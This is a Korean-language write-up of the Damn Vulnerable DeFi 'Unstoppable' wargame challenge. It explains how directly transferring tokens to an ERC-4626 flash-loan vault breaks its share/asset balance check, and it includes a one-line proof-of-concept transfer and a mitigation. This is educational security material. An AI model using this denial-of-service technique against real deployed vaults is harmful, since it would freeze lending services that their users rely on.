Damn Vulnerable DeFi-Unstoppable

problem link

DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.

Summary

유저가 컨트랙트에 ERC20 토큰을 임의로 전송하면 flashloan 기능이 동작하지 않는다.

Keyword

ERC-4626, DoS

Vulnerability

There’s a tokenized vault with a million DVT tokens deposited. It’s offering flashloans for free, until the grace period ends. To pass the challenge, make the vault stop offering flashloans. You start with 10 DVT tokens in balance.

문제를 풀기 위해서는 Vault가 flashloan을 더이상 할 수 없도록 멈춰야 한다. 타겟으로 UnstoppableVault.sol 과 ReceiverUnstoppable.sol 코드가 주어졌다. 두 컨트랙트 모두 ERC-3156: flashloans 의 구현체이다. 또한 Lender인 UnstoppableVault 는 ERC-4626: Tokenized Vaults 의 구현체이다.

ERC-4626은 토큰화된 금고로, asset 토큰을 예치하면 ERC20의 share 토큰을 mint하고, 출금하면 share 토큰을 burn 하는방식으로 관리되는 금고 컨트랙트이다. 즉, share 토큰은 일종의 주식이며, share 토큰을 주면 그에 비례하는 asset 토큰을 돌려주는 방식이다.

이렇게 UnstoppableVault 컨트랙트는 유저에게 asset 토큰을 예치받고, 예치된 asset 토큰을 이용하여 flashloan으로 다른 유저들에게 빌려주는 서비스를 제공한다.

UnstoppableVault.flashLoan 에서 이 asset 토큰과 share 토큰과 관련된 확인을 한다.

function flashLoan(
    IERC3156FlashBorrower receiver,
    address _token,
    uint256 amount,
    bytes calldata data
) external returns (bool) {
    if (amount == 0) revert InvalidAmount(0); // fail early
    if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
    uint256 balanceBefore = totalAssets(); // @audit-info asset.balanceOf(address(this))
    // @audit-info convertToShares(totalSupply) != asset.balanceOf(address(this))면 터진다. 
    // @audit-info 즉, vault.totalSupply * asset.balanceOf(address(this)) / asset.balanceOf(address(this)) != asset.balanceOf(address(this)) 면 터진다.
    // @audit-info 즉, vault.totalSupply != asset.balanceOf(address(this)) 이면 터진다
    // @audit-issue 임의로 asset 토큰을 valut로 전송하면 조건이 깨진다.
    if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
    uint256 fee = flashFee(_token, amount);
    // transfer tokens out + execute callback on receiver
    ERC20(_token).safeTransfer(address(receiver), amount);
    // callback must return magic value, otherwise assume it failed
    if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
    revert CallbackFailed();
    // pull amount + fee from receiver, then pay the fee to the recipient
    ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
    ERC20(_token).safeTransfer(feeRecipient, fee);
    return true;
}

if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); 에 주목하자.

convertToShares 함수는 다음과 같다.

function convertToShares(uint256 assets) public view virtual returns (uint256) {
   uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
 
   return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
}

totalSupply이 0인 경우, 즉 share 토큰이 발행된 적이 있는 경우 assets.mulDivDown(supply, totalAssets()) 를 리턴한다. totalAssets 는 어떤 값을 리턴하는가? asset.balanceOf(address(this)) 값을 리턴한다. 즉, UnstoppableVault 에 예치된 asset의 양을 리턴한다.

function totalAssets() public view override returns (uint256) {
    assembly { // better safe than sorry
        // @audit-info 0번 슬롯 값이 2이면 실패한다. => ReentrancyGuard lock을 확인한다. 재진입의 경우 revert 한다.
        if eq(sload(0), 2) {
            mstore(0x00, 0xed3ba6a6)
            revert(0x1c, 0x04)
        }
    }
    return asset.balanceOf(address(this));
}

따라서 convertToShares(totalSupply) 는 일반적으로 vault.totalSupply * asset.balanceOf(vault)/asset.balanceOf(vault)를 의미하게 된다.

if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); 코드를 다시 한번 살펴보자. 이 연산을 풀어쓰자면 vault.totalSupply * asset.balanceOf(vault)/asset.balanceOf(vault) != asset.balanceOf(vault) 인 경우 revert 하라는 의미가 된다. 즉, vault.totalSupply != asset.balanceOf(vault) 이면 revert 가 된다.

여기서 공격자가 asset 토큰을 임의로 UnstoppableVault 컨트랙트에게 asset 토큰을 transfer 한다면 어떻게 될까? ERC20 토큰의 경우 Receive callback도 없으므로 이에 대하여 거부하거나 반응할 수도 없다.

다음은 PoC 코드이다. 공격자가 금고 컨트랙트로 토큰을 transfer하면 flashLoan 함수가 마비된다.

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        await token.connect(player).transfer(vault.address, 1);
    });

Impact

flashloan 기능이 동작하지 않도록 한다.

Mitigation

deposit이나 mint 이외에 Asset 토큰을 직접 전송한 경우를 고려하도록 수정한다.

Memo

ERC-4626 에 꽤 다양한 이슈가 발생했던 것 같다. 주로 share와 asset의 비율 계산과 관련이 있는 것 같다. https://mixbytes.io/blog/overview-of-the-inflation-attack

관련된 실제 사건 사고 예제를 모아서 분류해보고 싶다.


tags: writeup, blockchain, solidity, smart contract, erc20, erc3156, erc4626, dos, defi